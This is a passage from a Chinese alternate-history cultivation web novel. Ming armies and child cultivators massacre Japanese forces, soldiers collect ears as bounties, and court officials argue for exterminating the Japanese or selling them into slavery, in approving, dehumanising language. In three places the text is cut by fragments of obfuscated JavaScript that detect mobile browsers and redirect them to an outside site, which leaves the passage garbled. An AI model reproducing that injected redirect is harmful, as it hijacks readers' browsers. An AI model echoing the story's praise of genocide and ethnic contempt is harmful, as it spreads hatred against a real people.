丰臣秀吉跟德川家康对视一眼,而后也开始朝着海滩冲去! 很快,双方便冲杀在了一起! 俞大猷指挥着两万精锐从左右两翼冲杀,瞬间便将敌人阵线冲断。而中间的主力则是与戚继光率领的精锐正面撞上。 “噗嗤!”一柄长枪,直接将一个身穿盔甲的倭人洞穿,那看起来护住胸口的盔甲,在长枪面前,脆弱的就像是张纸一般。 “呸!”这是个满脸横肉的军中糙汉,看着眼前的小矮子,一脚踹了出去,吐了口浓痰,“小孩子,玩什么刀!” 说完,转身又朝着另外一个倭人冲去。 “兄弟们,杀光贼寇,荡平倭人,为我百姓,出口恶气!”有百户臂弯夹着赤红的刀子抹尽血迹,大声吼道:“十人斩者,赏银百两,百人斩者,赏银千两!” “千 人斩,加官进爵,赐千金!” “杀!”双方本就是实力悬殊,面对强大如虎狼般的大明精锐,倭人一方根本不是对手。 眨眼间便是人头滚滚,血流成河,面对已经杀红眼的大明精锐,倭人各个肝胆俱裂。 “铿锵!”一柄长刀与倭人的长刀对轰,那斜长的军刀,瞬间便被崩断,寒光闪过,连同倭人的脖颈瞬间被砍爆。 “第十个!”脸上有刀疤的青年,长刀轻甩,一只左耳朵冲天而起,落入手中,被他冷漠的揣入腰间的口袋里。 “幺妹有钱看病了!”说完,青年拿起长刀,继续冲向下一个。 “我,投……”一个倭人头目张口,用蹩脚的官话想要投降,然而迎接他的却是一柄森寒的长枪,通入咽喉。 投降,不会有机会的! 这一次,宁波府调兵的将士,全都是沿海地区,从小听着倭寇侵扰沿海,烧杀掳掠百姓的事迹,骨子里刻着仇恨。 一旦开杀,根本不会给这些倭人机会。 况且,此刻战场上每个倭人都是军功,上官早有传言,未来大明,军功极为重要,不但可以更改军户籍,还能为家人博取功名。 没有人知道这些消息是谁传出,从哪传出,但所有人知道,这些消息没有被封禁,这意味着什么?这意味着上官是默认的。 所以每个将士都格外的珍惜这次的机会。 远的军功在未来可能会有种种好处先不谈,单单是眼前的,十人斩就可以换取百两银,这可是实打实的钱,有军功,还有钱谁不稀罕? “杀!”长刀将一个倭人的喉管砍爆,这是个白发苍苍的老兵,恶狠狠的折身冲向将自己包围的三名倭人,毫不畏惧冲杀而去。 “还我百姓命来!”老者一个跳跃,将其中一人砍杀。“噗呲!”这时,身后一柄长枪窜出,直接将那名偷袭的倭寇捅杀。 “嘿,”这是个满脸血污的黑脸少年,“军爷,我救了你,这只耳,归我了!”说完,长枪一挑,尸体的左耳被割下。 “后生,老夫千人斩了!”说完,老兵甩了甩腰间的布袋子,大步朝着另一人冲去。 少年看了看自己腰间只有十只耳的布袋子,顿时被激发了无穷的斗志。 “轰隆隆!”天穹之上,原本晴空万里,此刻突然阴云密布,不一会大雨瓢泼。 大雨冲刷而下,血腥气被激起,空气中隐隐飘荡着淡淡的血气。 “撤,快撤!”眼看着如狼似虎的大明将士,织田信长硬挨了一名千户的长刀,在几个倭人的掩护下逃得一命。 “所有人,按照事先计划的行事,撤入内陆,引他们入森林!”织田信长几乎是嘶吼道:“我要将他们,全部坑杀于此!” 随着织田信长的命令下达,所有倭人大军开始后撤,朝着内陆的密林丛中撤去。 他打算利用地势再与大明周旋! 不过在撤入密林的第一时间,织田信长便拉着同样身负重伤的丰臣秀吉,道:“带着所有人撤离,让德川家和武田家的人拖着!” “将军!?”听到织田信长的话,丰臣秀吉一愣,而后眼底闪过一抹精光,重重点头,道:“我明白了!” “听我说,秀吉!”织田信长来到一处空地,背靠一棵大树,大口喘着粗气,道: “明军野心勃勃,他们攻入日本,必然不会轻易离去,接下来……”说着,他低头看了一眼渗血的胸口,丰臣秀吉这才发现,织田信长的后背已经被捅出一个血窟窿。 这么重的伤势,已经药石无医了! “我死后,织田家就看你的了,尽可能的积蓄力量,然后向大明臣服。大明图谋的,无非就是那些银矿,给他们便是。” “中原人,向来自诩天朝上国,以王道教化四夷,他们必然不会行灭绝之举。” “这就是我们的机会!” “弱小时,哪怕是,哪怕是给大明当狗也不是不可以,忍辱负重,默默等待机会!” “我相信,终有一天,再大的老虎,也会有生老病死的那一天,那时便是我们取而代之的时候!”织田信长眼神中闪烁着希冀的光芒。 “织田君,你一直都是这么想的吗?”看着出气多,进气少的织田信长,丰臣秀吉佩服道。 “呵,”织田信长虚弱一笑,“现在说这些已经晚了。” “我本想一统天下,日后休养生息,再吞下中原那辽阔肥沃的土地,为我族开不世之功!” “可惜,”说着,织田信长挣扎着跪坐在地,同时抽出腰间的长刀,扯开腹衣衫,撇头看向一旁的丰臣秀吉,“我不会死在大明之人的手里,就算是死,我也会死在自己手中。” “丰臣君,就拜托你来做我的介错人了!”听到这话,丰臣秀吉没有多言,点了点头,抽出腰间的长刀,高高举起,“织田阁下,请吧!” (注:在日本战国时期,介错人可以是指切腹自杀者的亲友或部下,甚至是对手,他们被请来作为切腹者的助手,在关键时刻执行斩首任务,以减轻切腹者的痛苦。) “噗嗤!”长刀划过腹部,鲜血流淌,织田信长怒目凸起,仰头望天。 约莫数个 呼吸后,当痛苦蔓延之时,丰臣秀吉手起刀落,就像是切胡萝卜一样,硕大的头颅滚落,就像是屎壳郎推着的粪球一般。 一代枭雄,织田信长就此身陨。 “织田阁下,你没有完成的遗愿,我会为你完成,”丰臣秀吉甩掉长刀的血迹,接过织田信长切腹的长刀,“终有一日,我会攻入大明!” “将那片肥沃的土地,踩在脚下……” “咯咯……”然而就在丰臣秀吉话还没说完,跟着就听身后树杈上,传来一阵清脆的笑声,“什么人?!” 丰臣秀吉猛的回头,长刀指着身后。 只见在身后的树上,站着一个身穿黑色长衫,头系着马尾的少年,而在树下还站着两个身穿宽松白衣,粉雕玉琢的少女。 刚才发笑的就是其中一个圆脸少女。 这三个少年人,平均年龄看起来不过十二岁,不过各个气质都非常的独特。他们的胸口衣服上统一的绣着一个龙飞凤舞的“仙”字。 “这个人杀了自己的同伴,坏人。”另外一个绷着脸的瓜子脸少女干脆道。 “听先生说,那叫切腹,是日本这边独有的,呜,叫什么来着……”圆脸少女说着,手指抵着下巴作思考状,“噢,武士精神!” “武士?”这时,树杈上的桀骜黑衣少年脸上露出不屑之色,“他们也配说武?” “老六,你去杀了他。”说完,黑衣少年抬手一指下方那个绷着脸的少女。 “哼。”被称做老六的少女轻哼一声,一步踏出,下一瞬,丰臣秀吉只觉得眼前一花。跟着,就觉得胸口猛的一疼,跟着巨力袭来,整个人轰然倒飞了出去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669366|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “噗嗤!”撞在一棵树干上的丰臣秀吉,张口喷出一口血雾,里头还伴随着一些内脏。 “这,怎么可能!?”丰臣秀吉瞪大着眼,看着那站在他原来位置的白衣少女,只觉得世界观在这一刻,轰然崩塌了。 他想不通,十几岁的小女孩,怎么可能有这么强大的力量,还有那鬼魅的速度。 此刻,临死前的丰臣秀吉只有一个念头,那就是,这还是他熟悉的那个世界吗?然而,这个答案,他永远也没有机会知道了。 不一会,丰臣秀吉便彻底气绝而亡! “割下他的耳朵。”黑衣少年说完,一步踏出,再次出现的时候,已经来到了数米外的另一棵树上,几个闪烁便消失。 “哼,不就是后天二重嘛,有什么了不起!”刚才那个绷着脸的少女不服的轻哼一声,拿起丰臣秀吉的长刀割下左耳装入皮袋子里。 “喂,走啦!”招呼那圆脸少女一声后,快速朝着森林内奔跑而去。 这三个少年男女不是旁人,正是跟随大军一同上岸的,一所仙武卫。 一年前,决定肃清日本的时候,嘉靖就询问过陆炳,仙武卫能不能上场。 仙武卫这一千个人是陆炳亲自培养,丹药、灵物资源,可以说用了不少。 甚至,为了能让仙武卫赶上这一次的国战,嘉靖还给仙武卫在京城郊外批了一块灵田,为的就是让仙武卫尽快成长起来。 陆炳没有让嘉靖失望,这一批仙武卫,终于在战前,成功的把人全部培养到了后天一重。 后天一重境界可以一当十,一千个仙武卫足可匹敌万人精锐! 随着一千个仙武卫的追杀,很快大量的倭人精锐开始被杀,武田信玄、德川家康这些首领,全部被杀,耳朵被割下,当做仙武卫的战功。 大军压境,随着数万精锐明军横推之下,这一战,正式宣告结束,日本一方完败! 不过戚继光和俞大猷并未急着挺进,而是暂时的修整,并等待胡宗宪登岛。 至于日本东部,负责唐顺之负责的一面的战斗,可以说是轻松无比,甚至都没怎么打。 因为西边负责对抗大明的,本就是与大明里应外合的叛徒,今川氏真。 要说这今川氏真,也确实是个草包,到现在还以为大明是来帮助他的。 登岛的王崇古和马芳自然没有跟他废话,直接命人给绑了起来,二人都憋了一肚子火。 为啥?原因很简单,战功啊,麾下弟兄们可都在嗷嗷待哺呢! 虽然战功在未来的功效还没有具体说出来,都是京城那边传出的消息。 可他们这些人确实知道,要是没有内阁的首肯,这等军中谣言,谁敢乱放? 所以,唐顺之自然也就没有管控军中关于军功的种种妙用,还有将士们对未来的幻想。 可结果呢?本想着登岛以后,会是发现上当的今川氏真,怒而开战,然后他们大杀特杀,结果这小子就是个软骨头,直接跪下迎接。 此外,连一个像样的兵都没看到,这让二人那叫一个气,感觉一拳打在了棉花上。 “我该怎么向将士们交代!”王崇古黑着脸,看向一旁同样面色不好的马芳。 王崇古感觉自己自从被陈洪那小人陷害,调出京城后,就没顺过。 上次葬灭阴山,仙人显圣,他被内阁捂嘴警告,事后还要给史官一个交代。 之后,他被视为大明的福将,史官那老家伙更是拿着笔,当着他的面,记录了一句:大 明福将,凡战必天佑,阴山一战,祥瑞天降! 搞的他打胜仗,全靠运气一样? 这让后世子孙看到了,别人一说,这打仗靠运气,这叫什么话?我王崇古难道是靠运气的吗?我王崇古,妥妥的实力派好吗! 现在好了,一场灭国之战,注定要被载入史册的,对方就这么跪了?这回去了,史官那帮混账,还不知道要怎么记载呢? 一旁的名将马芳,看着王崇古这一副郁闷的模样,不由咧嘴一笑,道:“王兄,打仗是流血的,将士们可巴不得跟着福将呢!” “福将?”王崇古冷笑一声,“这福气给你要不要?我可不想日后被后世说,打仗全凭运气,我王崇古历经大小战役多少?” “哪一场大战不是靠本事来的?” “别,这福气,某可要不起。”马芳笑着,连连摆手。 嗯,这帮子文人史官,确实让人无奈,好端端一位名将,硬生生的给记了一笔福将。这对任何一个有能力的名将来说,都是一种羞辱。 “老狐狸!”王崇古没好气的翻了个白眼,大手一摆,转身大步离去。 视线缓缓拉升。 飞梭之上,众人对于戚继光和俞大猷以及王崇古和马芳取得的胜利并不意外。 毕竟双方兵力悬殊,再加上还有内部里应外合,想不取胜都难。 不过真正让裕王、景王和内阁以及司礼监众人震惊的是,那些形如鬼魅,力大无穷,飞快收割着倭人性命的少年人。 “父皇,这些少年也是我大明军中之人吗?”裕王看着这些少年人,惊讶道。 其他人闻言,纷纷朝着嘉靖看去。 他们对这些形如鬼魅,出招潇洒自如,顷刻间取人性命的少年人,很是在意。 此前,百官群臣惧怕锦衣卫,东厂,就是因为这些人无孔不入,凶悍无比。 虽然随着时间的推移,锦衣卫和东厂的势力大不如前,可每个人都知道,家家户户家里,都有隐藏的锦衣卫。 这些锦衣卫,明里暗里的存在,他们防都防不住,若是日后这些少年人潜伏在身边。 一时间,所有人都觉得头皮一阵阵发麻。 饶是知晓一些内幕的严嵩,猜到这些孩子,可能就是陆炳给训练的那一群,此刻见识到这群孩子的能力后,也不由瞳孔收缩。 看向神色淡然的嘉靖,眼神中有畏惧之色。 “……” 牢记耻辱! 第一百五十章 魔鬼严世蕃 皇上他,是有意的! 老狐狸严嵩,瞬间想到了很多。 如今,皇上已经完全不避讳告诉他们,自己已踏上修仙之路的事实。 甚至,还给了他们这些人,赐下了仙法。 一直以来,严嵩心里都有一个疑问,他从未对任何人,哪怕是儿子严世蕃,他都没有宣之于口过,因为这个问题问出来就不得不面对。 那就是,皇上真的就这么信任他们?就这么给他们赐下了仙法? 皇上是什么性格,自私、贪婪,猜疑心极重的一个人,他有了仙法,不告诉任何人,而是自己一个人,或者是皇家独享才是正常。 甚至,让天下人给他一人供养灵物资源,才是他最应该做的。 之后,他猜测,因为要发展仙朝,皇上要给仙人上贡灵物资源,所以需要用到修仙者。 可是皇上赐下仙法,万一有人也得到了仙人的青睐,是否会取代皇家?仙人能青睐于他,未必不会看重其他人?皇上会想不到这一点? 之后,他又猜到皇上大力发展仙朝,还有那战功激励政策,大明未来会变成什么模样,以严嵩的老辣眼光,自然一眼能看到。 随着大明的实力上涨,仙朝的步伐会越来越快,越来越强大,迟早有一天会变得体量巨大。 然后,他怀疑,这位生性贪婪的皇帝,或许并不安于现状,屈居于仙人之下,或许他会想着,如何取而代之也不一定。 这个想法,在他心间出现的一瞬间,就再也驱散不了了。 如今看到下方那些秘密训练的“孩子”,严嵩心中那个想法,越发的确定了起来。 有如此这样一支神秘,强大的力量在手,若是十万人、百万人呢?这人间谁能违逆皇上的意志?还有那仙官官身。 直觉告诉他,被敕封仙官官身,或许也是皇上防备群臣背叛的一个手段。 如此,他才不会担心朝中其他人被仙人看中,从而再未来有一天,跟仙人闹翻后,皇家遭到来自内部的背叛。 一瞬间,严嵩的脑海中想到了很多。 “这些孩子,都是陆炳秘密训练的仙武卫。”嘉靖将众人的神情尽收眼底后,笑着道:“每个人,都能以一当十。” “若是我大明有这样一支十万人组成的大军,又该是何等的强大?” 以一当十!?听到这个词,众人都是一怔,若是以往,他们会将这个词,只当是对个人实力的夸大形容,但现在可不会了。 毕竟皇上是修仙者,他们也有人接触到了修仙层次,所以更清楚,这个词说的是真的! “敢问父皇,这些仙武卫,也是修仙者吗?”这时,景王拱了拱手,问道。 其他人闻言,也都立刻竖起了耳朵倾听了起来,想知道这些仙武卫是不是修仙者。 若是皇上,真的瞒着他们所有人,秘密训练了一支强大的修仙者大军,那…众人不敢想了。 “仙武卫,并不是修仙者……”嘉靖自然知晓众人心中想的是什么,不过他也不需要用这种唬人的方式来震慑人心。 于是,嘉靖便对众人介绍了一遍仙武卫。 听完嘉靖关于仙武卫的介绍后,虽然知道这些人不是修仙者,让众人心中稍缓。 嗯,之所以稍缓,并不是因为他们内心想干什么,而是一种自己还没开始修仙,突然冒出来一群修仙者的心理落差。 现在知道这些仙武卫并不是修仙者后,那种巨大的落差根本不存在,心下稍安的心态。 “仙武卫……”严嵩眸光一闪,心间瞬间了然,“所以,皇上允许我培养灵兽军团,最后应该会交给仙武卫使用了……” “好了,”嘉靖一摆手,终结了关于仙武卫的话题,“来说说下面这片土地吧。” 终于要到了最后的利益结算了吗? 听到皇上提起下面这片土地,众人心中都不由一凛。 “以胡宗宪跟唐顺之的能力,打下整个日本,怕是月余时间就能完成,”说着,嘉靖看向众人,肃容微宽,“知道你们都是什么心思。” 听到嘉靖这意有所指的话,严嵩等人都不由微微低下了脑袋。 显然皇上是在说他们双方内斗的事情,不过这个时候,最紧张的还要属裕王跟景王二人。 毕竟,严党和清流互斗,映射的始终是他们二人的储君之争。 这一点,父皇又岂能看不出来?直接略过他们,看向内阁,这是在给他们留面子呢。 众人心思,嘉靖自是不知道,而是继续开口,道:“日本岛的灵土问题,内阁之后自行商议,决定之后来玉熙宫议政。” “朕现在要说的是,日本岛日后是一块灵土,为我大明提供源源不断的灵物资源。对于日本岛上的倭人,尔等都有什么想法?” 嘉靖想听听内阁的想法。 这些倭人,用来当劳动力?又或者是分化送入大明各地同化后,融入大明?嗯,毕竟唐朝之前,中原就已经同化了不少异族。 所以同化之法,也是中原王朝最常用的。 “臣以为,将日本的军人尽数处死,”这时,张居正在得到徐阶的首肯后,率先出声,“至于平民百姓,可分 批次输入大明。” “以我中原王道教化,同化为大明百姓,如此三代人后,此族血脉便也不再。毕竟,没有什么东西,能抵得上岁月洗礼。” 听完张居正的话,高拱也跟着点了点头,道:“不错,而且此举还有一个好处。”说着,高拱环视众人一圈,在严世蕃不屑的目光注视下,道:“可以以日本为例,安诸国之心。” “让诸国臣民明白,大明并不会乱杀无辜,之所以灭掉日本,是因为此族狼子野心,寡廉鲜耻,屡次犯我大明边境,侵害我百姓。” “但不论如何,普通百姓是无辜的。” “如此方能彰显我天朝上国的威严,与王道教化异族之胸襟气魄!” 赵贞吉闻言,也是微微点头,对着嘉靖拱了拱手,道:“臣也同意肃卿和太岳的观点。” “其实还有一个重要原因,”说着,赵贞吉语气微微一顿,道:“我大明仙朝,日后必然是要统御十方的,诸国臣民皆是异族……” “我主帝君, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“高见谈不上,但要说尔等软弱无能!”严世蕃毫不留情道:“以本官之见,所有日本人,都该被清算,没有一个是无辜的!” “全都应该集装入几艘大船,发卖到西洋诸国,呵,”说着,严世蕃冷笑道:“老的、病的、残的,随便找个岛打发上去。” “女人、年轻力壮的男人还有潜力巨大的小孩,本官正好认识几个葡萄牙人,直接发卖过去,也能为大明收一笔钱。” “我大明,不养这些没有道德,不知感恩,见小利而忘大义的杂碎!” “多少年了,从唐朝到我大明朝,他们可曾感恩过?东南沿海,倭寇一直有吧?” “只知道贪婪索取的小鬼,你们还想着养他们?你们是不是疯了?” “怎么着?同化到我大明朝?让我们高贵的仙朝子民血液里,日后流淌这种污血、罪血?你们三人,简直愚蠢如猪!” “自古以来,中原异族,同化的是不少,可别忘了,狼子野心者更不少!我中原还在,是因为我中原炎黄子民强大!” “若是弱小些,你们还能站在这里,跟皇上面前,侈谈什么胸襟、气魄?!” “才吃了几天饱饭?过了几天安生日子,就忘祖,忘本了?”严世蕃不愧是严世蕃,一开口瞬间把整梭人给干懵了。 同时,骂起人来,也越发的狠了。 当然那个提议,更是堪称是魔鬼一般。 “……” 牢记耻辱! 第一百五十一章 护食与理念 “你,严世蕃,你……” 被严世蕃当着皇上的面,如此一通叱骂,几乎要把自己等人说成大明朝,华夏子孙罪人的高拱,张居正和赵贞吉三人浑身发抖。 三人指着严世蕃,哆嗦着嘴唇,仿佛是受到了前所未有的莫大屈辱一般。 “哼!”有了前面几次“对线失利”经验的严世蕃,这段时间以来可以说是总结了很多经验教训,取长补短,查漏补缺。 他也发现了,自己跟张居正等人在治国之策上硬碰硬绝对讨不到半点便宜。 毕竟,在朝堂之上大谈国策,并非是自己的强项,自己的优势在于扣帽子泼脏水,诡辩! 若是以后自己一上来就开骂,不对,应该说是剑走偏锋的话,那情况可就大大不同了。 就像是现在,三人直接被自己一通呵斥,此刻就是连半个屁也放不出来。 可见以往,是自己走错了路,甚至以后,跟张居正的人辩论的时候,为了方便进攻,完全可以让他们先出手,自己再逐个突破。 看着三人这一副面红耳赤的模样,小阁老严世蕃的心里,此刻别提有多得意了。 “皇上!”这时,严世蕃一转身,朝着嘉靖抬手一抱拳,而后满脸正气的大声道: “臣以为,高拱、赵居正和赵贞吉此三人所言,完全就是在误我华夏子民之蠢计。” “所有倭人,绝对不能留,更不能放入我大明,将其同化,须知……”说着,严世蕃一副拳拳肺腑之心的模样,沉声道: “仇恨是可以通过血脉延续下去的!但凡日后给予仇人一些仙法,那可真是祸患穷啊!” “严世蕃,你之所言,难道是要激起我大明朝被其他诸国敌视之心吗?” 被严世蕃几乎是指着鼻子骂做是,遗害子孙后代的祸患,此刻饶是向来修为涵养不错的张居正,也终于绷不住了,率先开口发难。 “动辄亡国灭种,我大明仙朝体面何在?”高拱怒声,道:“这些你考虑过吗?” “不错,”赵贞吉再次开口,“现在的大明固然很强,可若是诸国因为日本之灭亡,同时来犯,我大明岂能无虞?” “况且,我大明日后,可是要铸就不世之仙朝,统御诸天万族的,岂能没有身为仙朝的包容之心?” “不要再东拉西扯了!” 眼看着三人再次呈合围之势的攻击自己,严世蕃当即爆喝,而后冷笑的看着三人。 “体面、体面,在尔等眼里从来只有自己的体面!”严世蕃指着三人,情绪激动道:“说白了,你们心里住着一个想象中的皇上!” “一个,你们自己心里想象当中的大明朝。” “你们就是想让皇上,变成你们心里想的样子。稍有不如你们的意,就是没体面了?” “不就是灭一区区弹丸之岛而已,”严世蕃说着,翘着小指头,不屑道:“这也能上升到我大明仙朝的体面与否上?” “王道是霸道,是仁道,但是……”说着,严世蕃蓄力怒视着三人,道:“它绝不是愚蠢的一味对别人好,而不顾自家百姓还没吃饱呢!” “你是大明朝的官,你不是全世界的官,你做的那么好,标榜什么仁义道德,天朝风范?” “我大明百姓,才吃饱了几天?就想着接济天下?要你当婊子,立牌坊了?” “鼠目寸光,不足与谋!”张居正怒而甩袖。 这个疯子,就知道贪着眼前这点东西,毫无胸襟气魄,仙朝当高高在上,恩泽众生。 严世蕃只盯着眼前这一亩三分地,经营的再好,也不过是处处透着小家子气! “我是目光不足,但我知道,我这么做,自家百姓,饿不着,千秋青史,滚滚仙朝子民会记得我!” 严世蕃就看不上这些清流的臭气。 没有眼前的利益,切实的好处,图那虚名作甚? “我告诉你!我严世蕃从不求什么千秋青史,我只看是否利在当代!” “大不了这亡人国,灭人种的骂名,我严世蕃一人担了,”说到了这里,严世蕃霸气侧漏的高举双臂,“我不需要百姓的理解!”说到激动处,更是大手一甩,“老子不在乎!” 嗯,这番话说完,气的高拱三人直哆嗦。 简直,简直就是无赖,泼皮,竖子,不可理喻! 乱臣严党,果然就是见一点贪一点,哪怕是打着为国之名,也依旧是改不了那小家子气,胸襟狭小,气量不足! 此时,四人之间,俨然是一副势不两立,水火不容的架势。 话说到这里,其实已经看的出来,这是两派的理念之争了! 嘉靖从始至终都是面色平静的看着四人的争吵,直听到这里,便也意识到,这已经涉及到两派之间的治国理念了。 目光不经意地瞥了一眼身旁,老神在在,双手揣着袖口,耷拉着眼皮,低眉垂目,一副昏昏老矣,面上毫无表情的严嵩。 之后,又看向同样低眉垂目的徐阶。 严嵩,不像是徐阶等清流派一样,治国理念始终都那么的直白和清晰。 他一直都是一个奸臣的形象,出现在群臣百姓的心中,权力全部来源于皇帝。 但实际情况是,他也有自己的治国理念,但这一层理念,从未表露出来过。 此时,这种隐藏的治国理念,在严世蕃的身上,得以充分的体现,正是严世蕃那句,不在乎千秋青史,只看中是否利在当代。 严家父子,贪婪,霸道,只要是眼前的肥肉,看到了就一定要吃下去。 也是如此,他们不考虑什么罪在当代,功在千秋,什么苦一苦百姓,从长远来看那套。 总的来说,这样的臣子,若是让他为国为民,那么就可以用一种动物来极为贴合的形容之,便是看护羊圈的恶犬! 嗯,培养,调教的好,他们会把羊圈,看做是自己的财产,而后精心的维护。 为保证羊圈里的羊十足的纯血,不会被掺任何的杂质,他们会自行排异,驱逐一切危险因素。 正如此刻,严世蕃认为倭人的血统肮脏不堪,进入大明,就是对未来仙朝子民的一种污染,所以要从一开始将其灭绝。 至于骂名什么的?他严家还在乎这?至于传出去了百姓是否会误解,他更是不在乎。 一直以来,嘉靖放任两派争斗,并定下规矩:可以争斗但最终结果必须是大明得利。为的就是培养严党打的“护食”意识。 这个“护食”意识,就是他们的治国理念,这点严嵩或许已经察觉到了,但严世蕃今天能说出这番话,却并不意味着他找到了自家的理念。 至于徐阶等人的治国理念,每个人都不同,张居正跟高拱的理念相近,但也有不同。 而徐阶,更为保守,稳健与平衡。 这些,嘉靖不想去想,因为清流这些人的理念不用担心,日后仙朝广阔,诸天浩荡,有的是他们施展抱负和治国理念的地方。 所以,对于清流他向来很放心。 清流在宏观上进行调整,严家父子在微观中进行稳固。 这就是嘉靖心中对两派的安排和调教。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669368|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好了,”看了一场激烈的唇枪舌剑,嘉靖摆了摆手,看向严嵩,“严阁老,你怎么看?” 被嘉靖问起,严嵩抬了抬眼皮,而后缓缓抬起双臂,对嘉靖拱了拱手,道:“臣以为,双方说的都有道理,不过却都忽略了一点。” 被嘉靖打断,不论是严世蕃还是被气的浑身发抖的张居正三人,都暂且冷静了下来。 他们知道,接下来对日本的安排,要进行最后的圣裁定夺了。不过听到皇上只询问严嵩的意见,张居正三人心头又是一阵无奈。 不过很快,便又释然了。 皇上向来器重严嵩,他又是内阁首辅,于情于理都是该先问的。 不过在听到严嵩说,他们双方都忽略了一点后,又都皱着眉头,看向严嵩。 “考虑周边诸国的想法不错,”严嵩说着,身子微微倾斜,瞥了眼严世蕃四人,语气温吞,道:“若是周边诸国为此而心生恐慌,从而同时来犯,却是于我大明来说不妙。” “可,这是我大明首次发动灭国之战,若是不能以铁血手段震慑诸国,怕是不行。” “如此做的好处,首先便是告诉周边诸国,还有海外西洋诸国,不要去轻易的触怒大明。” “这对日后,大明与海外西洋诸国的交易,有着重要的作用。” “随着国力的上涨,日后完成第二三阶段,我大明的商业必然会在短时间内蓬勃发展,如此,海外那么庞大的市场可不能错过。” “就好比那火器之术,说句妄自菲薄的话,我大明若是不动用仙术的话,真的与那些拥有强大火器的西洋诸国开战,胜算几何?” “所谓人外有人,天外有天,我们要虚心,取长补短,如此才能强大自身。与海外交易,可以让大明获得许多新鲜的技术。” 严嵩说着,缓了缓又跟着道:“其次,亡国灭种,这是一种震慑,雷霆之怒。” “从此,就给诸国定下了一个极高的标准,那就是惹怒我大明,最严重的后果就是亡国灭种,整个种族被直接抹去。” “呵呵,”说着,严嵩慈祥的笑了笑,“这上限定的高些,以后再有什么惩罚,只要不超过这个标准,都不是什么大事。” “这又何尝不是一种对诸国的安抚呢?” 听到这里,张居正等人哪里还听不出严嵩的话外之意?这就是在支持严世蕃亡人国,灭人种的战争理念,相比于严世蕃严嵩更狠更傲慢。 他竟然将亡国灭种当做是一条标准,标准一下,诸国都要战战兢兢。 嗯,他们不反对严嵩的理论,凭良心说,这是有一定道理的,可太残忍了,鱼肉他国,真的好吗?到底是不如施恩于天下,以王道教化。 “至于诸国恐慌,呵……”严嵩很是轻松的一抬头,用一种慈祥而宽厚的语气,道:“此战之后,只需要稍加以安抚,允许朝贡就好。” “像是朝鲜,不是一直视我大明为宗主国吗?那就树立个典型,给予一定恩惠,以安抚其他诸国,吃饭嘛,一顿之后都怕噎着……” “这次,吃了日本,大明也需要好好消化消化,接下来大量的金银流入,还有对新地的命名,官员的安排这些,都是麻烦……” “最重要的是 ,我大明内部,还有土地改制要进行,有了这一笔庞大的资源,改制变法会更顺利。” “如此一来,百姓也会对朝廷更加支持!” “我大明,官民宜宜,其乐融融嘛,哈哈……”说着,严嵩笑声中,全都是美好未来的祝愿。 “……” 第一百五十二章 亡国灭种,赐名,瀛州府,人口贸易? 严嵩的一番话说完,飞梭甲板上,高拱、张居正和赵贞吉三人陷入了沉默。 一个个沉着脸,不知道该说什么,只能将目光看向低眉垂目的徐阶和站在嘉靖身旁,恭敬低头听着的裕王,希望可以出来说句话。 不过徐阶毫无动静,裕王就更不会说了。 自从上次海瑞把话挑明以后,二王和自己麾下的这些清流、严党之间,已经是纯粹的合作关系了,隔阂已经出现,岂能愈合? 即便裕王对张居正等人,还有表面的师徒之名,但终究还是利益更多一些。 此时,关于一个小小日本的处理方法,不论结果如何,最终都是大明获利,而其中承担的责任,要么是严党被人痛骂心狠手辣,不当人子。 背负亡人国,灭人种的骂名。 要么就是清流一方胜利,维护了他们所谓的仙朝体面,不管怎么说反正影响不到二王。裕王自然也不会再说什么,任由他们去争了。 此时,二王看的很准,他们已经不再将身边的这些人,看做是唯一心腹了。 而是开始在朝中拉拢六部其他成员。 “严阁老说完了,”听完严嵩的一番话后,嘉靖面上没有任何情绪波动,而是神色平静的看向一旁的徐阶,“徐阁老,说说你的看法。” “臣以为,严阁老所言,甚是!”徐阶躬身道。 “唰唰唰。”几乎是徐阶话音落下的第一时间,张居正、高拱和赵贞吉三人的目光齐刷刷的朝着他看了过来,眼神当中全都是诧异之色。 要知道自从裕王决定和景王争夺储君之位开始,以及经历了那么多事情,事到如今,徐阶这位内阁次辅,可以说根本不怵严嵩的。 自然也就不需要像以往那般,面对严嵩这位内阁首辅的各种政策提议都会默认。 可是现在,严嵩提出这种,明显和所有清流士大夫治国理念不同的提议,徐阁老竟然选择了退让,并赞成严嵩的提议,这是为何? 难不成,徐阁老,竟然也希望对日本进行亡国灭种的举措? 听到徐阶同意,严嵩脸上丝毫没有意外之色,徐阶在乎的从来都不是他的意思,而是皇上的意思,皇上很明显已经有了决断。 而这个决断就是同意严世蕃的想法。 而皇上想要的,自然是内阁,清流和严党共同确定执行的命令。 这种有伤天和的命令,自然不能是皇上下令的了,只能是内阁决定了。 徐阶明白皇上想要的是什么,所以他做出了一个明智的选择。 “看来二位阁老都赞同严世蕃的决定啊,”嘉靖说着,手指轻抬了抬,“眼下谈论这些还为时过早,而且兹事体大,朕也要考虑考虑。” “之后,内阁拿个主意,然后入玉熙宫再次议政,商议出一个更好的办法来。” “毕竟,再怎么说,日本的普通百姓是无辜的,一定要妥善处理好。” 听到嘉靖这么说,内阁众人齐齐躬身,道:“皇上仁慈,帝君圣德!” “行了,”嘉靖摆手,道:“说说,接下来日本的管理,还有命名吧。” 